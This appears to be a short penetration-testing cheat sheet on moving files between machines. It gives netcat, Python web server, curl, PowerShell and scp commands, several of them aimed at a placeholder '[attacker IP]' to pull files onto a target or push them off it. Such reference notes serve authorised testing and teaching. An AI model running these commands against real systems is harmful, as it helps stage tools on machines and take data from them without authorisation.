File Transfer

Different methods to transfer stuff from one box to another

Netcat (nc)

On our receiving machine ;

nc -lvp [port] > [destination filename]

On our initiating machine ;

nc [receiving ip] [receiving port] < file.txt

Python WebServer

The Python module SimpleHTTPServer can be invoked to create an extremely basic server on the specified port (by default 8000)

python -m SimpleHTTPServer [port number]

cURL

From our target machine ;

curl [attacker IP]/[original file] -o [file destination]

Powershell

powershell IEX(New-Object Net.WebClient).downloadFile('[file origin]','[file destination]')
powershell IWR -uri [file origin] -outfile [file destination]
Copy-Item "C:\Wabash\Logfiles\mar1604.log.txt" -Destination "C:\Presentation"

Socat relays

SCP

Requires ssh to be activated on our attacking machine

scp [file to transfer] username@[attacker IP]:/[destination path]

Last updated

Was this helpful?